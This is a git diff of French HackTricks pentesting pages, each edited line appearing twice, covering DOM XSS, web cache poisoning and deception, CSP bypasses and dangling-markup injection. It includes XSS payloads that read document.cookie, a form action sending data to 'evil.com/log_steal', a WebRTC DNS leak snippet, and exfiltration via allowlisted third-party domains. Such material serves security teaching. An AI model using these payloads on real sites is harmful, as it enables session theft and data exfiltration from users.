Une approche alternative pour provoquer le XSS consiste à créer un élément Iframe et à définir sa source pour inclure le script nuisible comme paramètre `content` :
Une approche alternative pour provoquer le XSS consiste à créer un élément Iframe et à définir sa source pour inclure le script nuisible en tant que paramètre `content` :
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
@ -58,7 +58,7 @@ document.body.append(newFrame)
Cet exemple a été tiré de l'[article original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
Le problème principal provient d'une vulnérabilité Cross-site Scripting (XSS) basée sur le DOM située dans **`/html/bookmarks.html`**. Le JavaScript problématique, qui fait partie de **`bookmarks.js`**, est détaillé ci-dessous :
Le problème principal provient d'une vulnérabilité Cross-site Scripting (XSS) basée sur le DOM située dans **`/html/bookmarks.html`**. Le JavaScript problématique, faisant partie de **`bookmarks.js`**, est détaillé ci-dessous :
```javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()

36
src/pentesting-web/cache-deception/README.md
View File

@ -37,7 +37,7 @@ Cependant, notez que **parfois ces types de codes d'état ne sont pas mis en cac
### Découverte : Identifier et évaluer les entrées non clés
Vous pourriez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **forcer des paramètres et des en-têtes** qui peuvent être **en train de changer la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script à partir de là :
Vous pourriez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **forcer des paramètres et des en-têtes** qui peuvent **modifier la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script à partir de là :
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
@ -47,9 +47,9 @@ Avec le paramètre/en-tête identifié, vérifiez comment il est **sanitisé** e
### Obtenir la réponse mise en cache
Une fois que vous avez **identifié** la **page** qui peut être abusée, quel **paramètre**/**en-tête** utiliser et **comment** en abuser, vous devez faire mettre en cache la page. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps, vous devrez peut-être essayer pendant plusieurs secondes.
Une fois que vous avez **identifié** la **page** qui peut être abusée, quel **paramètre**/**en-tête** utiliser et **comment** l'**abuser**, vous devez faire mettre en cache la page. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps, vous devrez peut-être essayer pendant plusieurs secondes.
L'en-tête **`X-Cache`** dans la réponse pourrait être très utile car il peut avoir la valeur **`miss`** lorsque la requête n'a pas été mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache.\
L'en-tête **`X-Cache`** dans la réponse pourrait être très utile car il peut avoir la valeur **`miss`** lorsque la requête n'est pas mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache.\
L'en-tête **`Cache-Control`** est également intéressant pour savoir si une ressource est mise en cache et quand la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`
Un autre en-tête intéressant est **`Vary`**. Cet en-tête est souvent utilisé pour **indiquer des en-têtes supplémentaires** qui sont traités comme **partie de la clé de cache** même s'ils ne sont normalement pas clés. Par conséquent, si l'utilisateur connaît le `User-Agent` de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce `User-Agent` spécifique.
@ -95,9 +95,9 @@ Vérifiez :
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Poisoning du cache avec traversée de chemin pour voler une clé API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Poisoning du cache avec traversée de chemin pour voler la clé API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Ce rapport explique**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` parce que tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête a atteint le serveur web.
[**Cet article explique**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` parce que tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête a atteint le serveur web.
Cela est également mieux expliqué dans :
@ -114,7 +114,7 @@ Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Exploiter avec un en-tête `Vary` limité
### Exploitation avec un en-tête `Vary` limité
Si vous avez découvert que l'en-tête **`X-Host`** est utilisé comme **nom de domaine pour charger une ressource JS** mais que l'en-tête **`Vary`** dans la réponse indique **`User-Agent`**. Alors, vous devez trouver un moyen d'exfiltrer le User-Agent de la victime et de polluer le cache en utilisant cet agent utilisateur :
```markup
@ -142,13 +142,13 @@ Par exemple, il est possible de séparer les **paramètres** dans les serveurs r
Laboratoire Portswigger : [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploitation de l'empoisonnement du cache HTTP en abusant du HTTP Request Smuggling
### Exploiter le Poisoning de Cache HTTP en abusant du HTTP Request Smuggling
Apprenez ici comment effectuer des [attaques d'empoisonnement de cache en abusant du HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
Apprenez ici comment effectuer des [attaques de Cache Poisoning en abusant du HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Tests automatisés pour l'empoisonnement du cache Web
### Tests automatisés pour le Poisoning de Cache Web
Le [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement l'empoisonnement du cache web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.
Le [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement le poisoning de cache web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.
Exemple d'utilisation : `wcvs -u example.com`
@ -164,23 +164,23 @@ L'envoi d'une mauvaise valeur dans l'en-tête content-type a déclenché une ré
### GitLab + GCP CP-DoS
GitLab utilise des buckets GCP pour stocker du contenu statique. **Les Buckets GCP** prennent en charge l'**en-tête `x-http-method-override`**. Il était donc possible d'envoyer l'en-tête `x-http-method-override: HEAD` et d'empoisonner le cache pour renvoyer un corps de réponse vide. Cela pouvait également prendre en charge la méthode `PURGE`.
GitLab utilise des buckets GCP pour stocker du contenu statique. **Les Buckets GCP** prennent en charge l'**en-tête `x-http-method-override`**. Il était donc possible d'envoyer l'en-tête `x-http-method-override: HEAD` et de empoisonner le cache pour renvoyer un corps de réponse vide. Il pouvait également prendre en charge la méthode `PURGE`.
### Middleware Rack (Ruby on Rails)
Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le but du code Rack est de prendre la valeur de l'en-tête **`x-forwarded-scheme`** et de la définir comme le schéma de la requête. Lorsque l'en-tête `x-forwarded-scheme: http` est envoyé, une redirection 301 vers le même emplacement se produit, ce qui peut potentiellement causer un déni de service (DoS) à cette ressource. De plus, l'application pourrait reconnaître l'en-tête `X-forwarded-host` et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut entraîner le chargement de fichiers JavaScript depuis le serveur d'un attaquant, posant un risque de sécurité.
Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le but du code Rack est de prendre la valeur de l'en-tête **`x-forwarded-scheme`** et de la définir comme le schéma de la requête. Lorsque l'en-tête `x-forwarded-scheme: http` est envoyé, une redirection 301 vers le même emplacement se produit, ce qui peut entraîner un déni de service (DoS) pour cette ressource. De plus, l'application pourrait reconnaître l'en-tête `X-forwarded-host` et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut entraîner le chargement de fichiers JavaScript depuis le serveur d'un attaquant, posant un risque de sécurité.
### 403 et Buckets de Stockage
Cloudflare a précédemment mis en cache les réponses 403. Tenter d'accéder à S3 ou aux Blobs de Stockage Azure avec des en-têtes d'autorisation incorrects entraînerait une réponse 403 qui était mise en cache. Bien que Cloudflare ait cessé de mettre en cache les réponses 403, ce comportement pourrait encore être présent dans d'autres services proxy.
Cloudflare a précédemment mis en cache les réponses 403. Tenter d'accéder à S3 ou aux Azure Storage Blobs avec des en-têtes d'autorisation incorrects entraînerait une réponse 403 qui était mise en cache. Bien que Cloudflare ait cessé de mettre en cache les réponses 403, ce comportement pourrait encore être présent dans d'autres services proxy.
### Injection de Paramètres Clés
Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, le Varnish de Fastly a mis en cache le paramètre `size` dans les requêtes. Cependant, si une version encodée de l'URL du paramètre (par exemple, `siz%65`) était également envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le bon paramètre `size`. Pourtant, le backend traiterait la valeur dans le paramètre encodé. L'encodage URL du deuxième paramètre `size` a conduit à son omission par le cache mais à son utilisation par le backend. L'attribution d'une valeur de 0 à ce paramètre a entraîné une erreur 400 Bad Request mise en cache.
Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, le Varnish de Fastly a mis en cache le paramètre `size` dans les requêtes. Cependant, si une version encodée de l'URL du paramètre (par exemple, `siz%65`) était également envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le bon paramètre `size`. Pourtant, le backend traiterait la valeur dans le paramètre encodé en URL. L'encodage en URL du deuxième paramètre `size` a conduit à son omission par le cache mais à son utilisation par le backend. L'attribution d'une valeur de 0 à ce paramètre a entraîné une erreur 400 Bad Request mise en cache.
### Règles de User Agent
### Règles d'Agent Utilisateur
Certains développeurs bloquent les requêtes avec des user-agents correspondant à ceux d'outils à fort trafic comme FFUF ou Nuclei pour gérer la charge du serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que l'empoisonnement du cache et le DoS.
Certains développeurs bloquent les requêtes avec des agents utilisateurs correspondant à ceux d'outils à fort trafic comme FFUF ou Nuclei pour gérer la charge du serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que le poisoning de cache et le DoS.
### Champs d'En-tête Illégaux
@ -194,7 +194,7 @@ Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caract
L'objectif de la Cache Deception est de faire en sorte que les clients **chargent des ressources qui vont être enregistrées par le cache avec leurs informations sensibles**.
Tout d'abord, notez que les **extensions** telles que `.css`, `.js`, `.png`, etc. sont généralement **configurées** pour être **enregistrées** dans le **cache.** Par conséquent, si vous accédez à `www.example.com/profile.php/nonexistent.js`, le cache stockera probablement la réponse car il voit l'**extension** `.js`. Mais, si l'**application** **rejoue** avec les contenus **sensibles** de l'utilisateur stockés dans _www.example.com/profile.php_, vous pouvez **voler** ces contenus d'autres utilisateurs.
Tout d'abord, notez que les **extensions** telles que `.css`, `.js`, `.png`, etc. sont généralement **configurées** pour être **enregistrées** dans le **cache.** Par conséquent, si vous accédez à `www.example.com/profile.php/nonexistent.js`, le cache stockera probablement la réponse car il voit l'**extension** `.js`. Mais, si l'**application** répond avec les **contenus sensibles** de l'utilisateur stockés dans _www.example.com/profile.php_, vous pouvez **voler** ces contenus d'autres utilisateurs.
D'autres choses à tester :
@ -215,7 +215,7 @@ Apprenez ici comment effectuer des [attaques de Cache Deceptions en abusant du H
## Outils Automatiques
- [**toxicache**](https://github.com/xhzeem/toxicache) : Scanner Golang pour trouver des vulnérabilités d'empoisonnement de cache web dans une liste d'URLs et tester plusieurs techniques d'injection.
- [**toxicache**](https://github.com/xhzeem/toxicache) : Scanner Golang pour trouver des vulnérabilités de poisoning de cache web dans une liste d'URLs et tester plusieurs techniques d'injection.
## Références

4
src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
View File

@ -80,7 +80,7 @@ CF-Cache-Status: miss
```
- **Normalisation de la casse de l'en-tête d'hôte**
L'en-tête d'hôte devrait être insensible à la casse, mais certains sites web s'attendent à ce qu'il soit en minuscules, renvoyant une erreur s'il ne l'est pas :
L'en-tête d'hôte devrait être insensible à la casse, mais certains sites Web s'attendent à ce qu'il soit en minuscules, renvoyant une erreur s'il ne l'est pas :
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
@ -105,7 +105,7 @@ Not Found
```
- **Fat Get**
Certains serveurs de cache, comme Cloudflare, ou serveurs web, bloquent les requêtes GET avec un corps, donc cela pourrait être exploité pour mettre en cache une réponse invalide :
Certains serveurs de cache, comme Cloudflare, ou serveurs web, arrêtent les requêtes GET avec un corps, donc cela pourrait être exploité pour mettre en cache une réponse invalide :
```
GET /index.html HTTP/2
Host: redacted.com

8
src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
View File

@ -2,10 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
Ceci est un résumé des techniques proposées dans le post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) afin d'effectuer des attaques de cache poisoning **en abusant des différences entre les proxies de cache et les serveurs web.**
Ceci est un résumé des techniques proposées dans le post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) afin d'effectuer des attaques de cache poisoning **en abusant des divergences entre les proxies de cache et les serveurs web.**
> [!NOTE]
> L'objectif de cette attaque est de **faire croire au serveur de cache qu'une ressource statique est en cours de chargement** afin qu'il la mette en cache, tandis que le serveur de cache stocke comme clé de cache une partie du chemin, mais le serveur web répond en résolvant un autre chemin. Le serveur web résoudra le chemin réel qui chargera une page dynamique (qui pourrait contenir des informations sensibles sur l'utilisateur, un payload malveillant comme XSS ou rediriger pour charger un fichier JS depuis le site de l'attaquant par exemple).
> L'objectif de cette attaque est de **faire croire au serveur de cache qu'une ressource statique est en cours de chargement** afin qu'il la mette en cache, tandis que le serveur de cache stocke comme clé de cache une partie du chemin, mais le serveur web répond en résolvant un autre chemin. Le serveur web résoudra le véritable chemin qui chargera une page dynamique (qui pourrait contenir des informations sensibles sur l'utilisateur, un payload malveillant comme XSS ou rediriger pour charger un fichier JS depuis le site de l'attaquant par exemple).
## Delimiters
@ -36,7 +36,7 @@ Une façon de vérifier ces incohérences est d'envoyer des requêtes URL en enc
### Dot segment
La normalisation des chemins où des points sont impliqués est également très intéressante pour les attaques de cache poisoning. Par exemple, `/static/../home/index` ou `/aaa..\home/index`, certains serveurs de cache mettront en cache ces chemins avec eux-mêmes comme clés tandis que d'autres pourraient résoudre le chemin et utiliser `/home/index` comme clé de cache.\
Tout comme précédemment, envoyer ce genre de requêtes et vérifier si la réponse a été obtenue à partir du cache aide à identifier si la réponse à `/home/index` est la réponse envoyée lorsque ces chemins sont demandés.
Tout comme précédemment, envoyer ce type de requêtes et vérifier si la réponse a été obtenue à partir du cache aide à identifier si la réponse à `/home/index` est la réponse envoyée lorsque ces chemins sont demandés.
## Static Resources
@ -47,6 +47,6 @@ Plusieurs serveurs de cache mettront toujours en cache une réponse si elle est
- **Répertoires statiques bien connus** : Les répertoires suivants contiennent des fichiers statiques et donc leur réponse devrait être mise en cache : /static, /assets, /wp-content, /media, /templates, /public, /shared
- Il est possible de forcer un cache à stocker une réponse dynamique en utilisant un délimiteur, un répertoire statique et des points comme : `/home/..%2fstatic/something` mettra en cache `/static/something` et la réponse sera `/home`
- **Répertoires statiques + points** : Une requête à `/static/..%2Fhome` ou à `/static/..%5Chome` pourrait être mise en cache telle quelle mais la réponse pourrait être `/home`
- **Fichiers statiques :** Certains fichiers spécifiques sont toujours mis en cache comme `/robots.txt`, `/favicon.ico`, et `/index.html`. Ce qui peut être abusé comme `/home/..%2Frobots.txt` où le cache pourrait stocker `/robots.txt` et le serveur d'origine répond à `/home`.
- **Fichiers statiques :** Certains fichiers spécifiques sont toujours mis en cache comme `/robots.txt`, `/favicon.ico`, et `/index.html`. Ce qui peut être abusé comme `/home/..%2Frobots.txt` où le cache pourrait stocker `/robots.txt` et le serveur d'origine répondre à `/home`.
{{#include ../../banners/hacktricks-training.md}}

44
src/pentesting-web/content-security-policy-csp-bypass/README.md
View File

@ -4,7 +4,7 @@
## Qu'est-ce que CSP
La Politique de Sécurité du Contenu (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que le cross-site scripting (XSS)**. Elle fonctionne en définissant et en détaillant les chemins et les sources à partir desquels les ressources peuvent être chargées en toute sécurité par le navigateur. Ces ressources englobent une gamme d'éléments tels que des images, des cadres et du JavaScript. Par exemple, une politique pourrait permettre le chargement et l'exécution de ressources depuis le même domaine (soi), y compris les ressources en ligne et l'exécution de code sous forme de chaîne via des fonctions comme `eval`, `setTimeout` ou `setInterval`.
La Politique de Sécurité du Contenu (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que le cross-site scripting (XSS)**. Elle fonctionne en définissant et en détaillant les chemins et les sources à partir desquels les ressources peuvent être chargées en toute sécurité par le navigateur. Ces ressources englobent une gamme d'éléments tels que des images, des cadres et du JavaScript. Par exemple, une politique pourrait permettre le chargement et l'exécution de ressources depuis le même domaine (self), y compris les ressources en ligne et l'exécution de code sous forme de chaîne via des fonctions comme `eval`, `setTimeout` ou `setInterval`.
La mise en œuvre de CSP se fait par le biais de **headers de réponse** ou en incorporant **des éléments meta dans la page HTML**. En suivant cette politique, les navigateurs appliquent proactivement ces stipulations et bloquent immédiatement toute violation détectée.
@ -58,13 +58,13 @@ object-src 'none';
- **report-to**: Spécifie un groupe auquel un rapport sera envoyé si la politique est violée.
- **worker-src**: Spécifie les sources valides pour les scripts Worker, SharedWorker ou ServiceWorker.
- **prefetch-src**: Spécifie les sources valides pour les ressources qui seront récupérées ou pré-récupérées.
- **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par tous les moyens (a, form, window.location, window.open, etc.)
- **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par n'importe quel moyen (a, formulaire, window.location, window.open, etc.)
### Sources
- `*`: Permet toutes les URL sauf celles avec les schémas `data:`, `blob:`, `filesystem:`.
- `'self'`: Permet le chargement depuis le même domaine.
- `'data'`: Permet le chargement de ressources via le schéma de données (par exemple, des images encodées en Base64).
- `'data'`: Permet le chargement de ressources via le schéma de données (par exemple, images encodées en Base64).
- `'none'`: Bloque le chargement depuis toute source.
- `'unsafe-eval'`: Permet l'utilisation de `eval()` et de méthodes similaires, non recommandé pour des raisons de sécurité.
- `'unsafe-hashes'`: Active des gestionnaires d'événements en ligne spécifiques.
@ -200,7 +200,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
#### Payloads utilisant Angular + une bibliothèque avec des fonctions qui retournent l'objet `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
> Le post montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre dépôt de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques retournent l'objet `window`**.
> Le post montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre dépôt de bibliothèques JS autorisées), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques retournent l'objet `window`**.
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -243,7 +243,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Plus de [**charges utiles de cet article**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/) :
Plus de [**payloads de cet article**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -292,16 +292,16 @@ La même vulnérabilité se produira si le **point de terminaison de confiance c
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans le CSP, pouvant être abusés pour soit exfiltrer des données, soit exécuter du code JavaScript. Certains de ces tiers sont :
| Entité | Domaine Autorisé | Capacités |
| ----------------- | ------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Entité | Domaine autorisé | Capacités |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Si vous trouvez l'un des domaines autorisés dans le CSP de votre cible, il y a des chances que vous puissiez contourner le CSP en vous inscrivant sur le service tiers et, soit exfiltrer des données vers ce service, soit exécuter du code.
@ -313,7 +313,7 @@ ou
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
Vous devriez être en mesure d'exfiltrer des données, de la même manière que cela a toujours été fait avec [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Dans ce cas, vous suivez ces étapes générales :
Vous devriez être en mesure d'exfiltrer des données, de la même manière qu'il a toujours été fait avec [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Dans ce cas, vous suivez ces étapes générales :
1. Créez un compte développeur Facebook ici.
2. Créez une nouvelle application "Facebook Login" et sélectionnez "Site Web".
@ -335,7 +335,7 @@ En ce qui concerne les sept autres domaines tiers spécifiés dans le tableau pr
En plus de la redirection mentionnée pour contourner les restrictions de chemin, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs.
Par exemple, si le CSP autorise le chemin `https://example.com/scripts/react/`, il peut être contourné comme suit :
Par exemple, si le CSP permet le chemin `https://example.com/scripts/react/`, il peut être contourné comme suit :
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
@ -343,7 +343,7 @@ Le navigateur chargera finalement `https://example.com/scripts/angular/angular.j
Cela fonctionne parce que pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme au CSP.
∑, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
∑, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui équivaut à `https://example.com/scripts/angular/angular.js`.
En **exploiter cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
@ -375,7 +375,7 @@ En dirigeant ce tableau vers le filtre `orderBy`, il est possible de l'itérer,
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Ce extrait met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en tirant parti de l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
Ce snippet met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en s'appuyant sur l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
**Trouvez d'autres contournements Angular dans** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
@ -425,7 +425,7 @@ Cependant, le `http://localhost:5555/301` final sera **redirigé côté serveur
Avec cette redirection, même si le chemin est spécifié complètement, il sera toujours contourné.
Par conséquent, la meilleure solution est de s'assurer que le site Web n'a pas de vulnérabilités de redirection ouvertes et qu'il n'y a pas de domaines qui peuvent être exploités dans les règles CSP.
Par conséquent, la meilleure solution est de s'assurer que le site Web n'a pas de vulnérabilités de redirection ouvertes et qu'il n'y a pas de domaines pouvant être exploités dans les règles CSP.
### Contourner CSP avec du balisage pendu
@ -556,7 +556,7 @@ Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`** :
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
Dans [**ce rapport CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via **HTML injection** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc la **vulnérabilité devienne exploitable.**\
Dans [**ce rapport CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via **HTML injection** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc la **vulnérabilité est devenue exploitable.**\
Le CSP peut être rendu plus restrictif en utilisant **HTML meta tags** et les scripts en ligne peuvent désactiver **la suppression** de **l'entrée** permettant leur **nonce** et **activer des scripts en ligne spécifiques via sha** :
```html
<meta
@ -570,7 +570,7 @@ content="script-src 'self'
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` n'est probablement pas autorisé par le CSP, cela **déclenchera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
Pour un exemple [**voir ce CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
Pour un exemple [**vérifiez ce CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP.
En fait, vous pouvez _leaker_ des informations en utilisant une _requête DNS_. Consultez ce code :
En réalité, vous pouvez _leak_ des informations en utilisant une _requête DNS_. Consultez ce code :
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })

4
src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
View File

@ -1,10 +1,12 @@
{{#include ../../banners/hacktricks-training.md}}
Une configuration telle que :
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
Interdit l'utilisation de toute fonction qui exécute du code transmis sous forme de chaîne. Par exemple : `eval, setTimeout, setInterval` seront tous bloqués en raison du paramètre `unsafe-eval`.
Tout contenu provenant de sources externes est également bloqué, y compris les images, CSS, WebSockets, et, en particulier, JS.
Tout contenu provenant de sources externes est également bloqué, y compris les images, CSS, WebSockets et, en particulier, JS.
### Via Texte & Images

14
src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
View File

@ -4,7 +4,7 @@
## Résumé
Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous **ne trouvez aucun moyen d'exploiter un** [**XSS** ](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\
Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous **ne trouvez aucun moyen d'exploiter un** [**XSS**](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\
C'est également utile si un **secret est enregistré en texte clair** dans le HTML et que vous souhaitez **l'exfiltrer** du client, ou si vous voulez induire en erreur l'exécution de certains scripts.
Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines [**Content Security Policy**](../content-security-policy-csp-bypass/) en exfiltrant des informations de manière inattendue (balises html, CSS, balises http-meta, formulaires, base...).
@ -45,7 +45,7 @@ Ensuite, les formulaires qui envoient des données vers le chemin (comme `<form
### Vol de formulaires 2
Définissez un en-tête de formulaire : `<form action='http://evil.com/log_steal'>` cela écrasera l'en-tête de formulaire suivant et toutes les données du formulaire seront envoyées à l'attaquant.
